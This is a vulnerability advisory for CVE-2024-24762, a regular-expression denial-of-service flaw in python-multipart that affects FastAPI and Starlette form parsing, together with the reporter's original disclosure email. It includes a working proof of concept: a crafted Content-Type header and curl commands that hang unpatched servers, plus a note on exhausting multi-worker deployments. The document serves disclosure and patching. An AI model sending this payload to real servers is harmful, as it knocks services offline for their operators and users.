| High | 7.5 | EPSS 1.5% | High7.5EPSS 1.5%GCVE DatabaseCVE-2024-24762 ### Summary When using form data, `python-multipart` uses a Regular Expression to parse the HTTP `Content-Type` header, including options. An attacker could send a custom-made `Content-Type` option that is very difficult for the RegEx to process, consuming CPU resources and stalling indefinitely (minutes or more) while holding the main event loop. This means that process can't handle any more requests. This can create a ReDoS (Regular expression Denial of Service): https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS This only applies when the app uses form data, parsed with `python-multipart`. ### Details A regular HTTP `Content-Type` header could look like: ``` Content-Type: text/html; charset=utf-8 ``` `python-multipart` parses the option with this RegEx: https://github.com/andrew-d/python-multipart/blob/d3d16dae4b061c34fe9d3c9081d9800c49fc1f7a/multipart/multipart.py#L72-L74 A custom option could be made and sent to the server to break it with: ``` Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ ``` ### PoC Create a simple WSGI application, that just parses the `Content-Type`, and run it with `python main.py`: ```Python # main.py from wsgiref.simple_server import make_server from wsgiref.validate import validator from multipart.multipart import parse_options_header def simple_app(environ, start_response): _, _ = parse_options_header(environ["CONTENT_TYPE"]) start_response("200 OK", [("Content-type", "text/plain")]) return [b"Ok"] httpd = make_server("", 8123, validator(simple_app)) print("Serving on port 8123...") httpd.serve_forever() ``` Then send the attacking request with: ```console $ curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8123/' ``` ### Impact This is a ReDoS, (Regular expression Denial of Service), so it only applies to those using python-multipart to read form data, such as Starlette and FastAPI. ### Original Report This was originally reported to FastAPI as an email to security@tiangolo.com, sent via https://huntr.com/, the original reporter is Marcello, https://github.com/byt3bl33d3r <details> <summary>Original report to FastAPI</summary> Hey Tiangolo! My name's Marcello and I work on the ProtectAI/Huntr Threat Research team, a few months ago we got a report (from @nicecatch2000) of a ReDoS affecting another very popular Python web framework. After some internal research, I found that FastAPI is vulnerable to the same ReDoS under certain conditions (only when it parses Form data not JSON). Here are the details: I'm using the latest version of FastAPI (0.109.0) and the following code: ```Python from typing import Annotated from fastapi.responses import HTMLResponse from fastapi import FastAPI,Form from pydantic import BaseModel class Item(BaseModel): username: str app = FastAPI() @app.get("/", response_class=HTMLResponse) async def index(): return HTMLResponse("Test", status_code=200) @app.post("/submit/") async def submit(username: Annotated[str, Form()]): return {"username": username} @app.post("/submit_json/") async def submit_json(item: Item): return {"username": item.username} ``` I'm running the above with uvicorn with the following command: ```console uvicorn server:app ``` Then run the following cUrl command: ``` curl -v -X 'POST' -H $'Content-Type: application/x-www-form-urlencoded; !=\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\' --data-binary 'input=1' 'http://localhost:8000/submit/' ``` You'll see the server locks up, is unable to serve anymore requests and one CPU core is pegged to 100% You can even start uvicorn with multiple workers with the --workers 4 argument and as long as you send (workers + 1) requests you'll completely DoS the FastApi server. If you try submitting Json to the /submit_json endpoint with the malicious Content-Type header you'll see it isn't vulnerable. So this only affects FastAPI when it parses Form data. Cheers #### Impact An attacker is able to cause a DoS on a FastApi server via a malicious Content-Type header if it parses Form data. #### Occurrences [params.py L586](https://github.com/tiangolo/fastapi/blob/d74b3b25659b42233a669f032529880de8bd6c2d/fastapi/params.py#L586) </details> | GCVE Database |
Page 2 of 2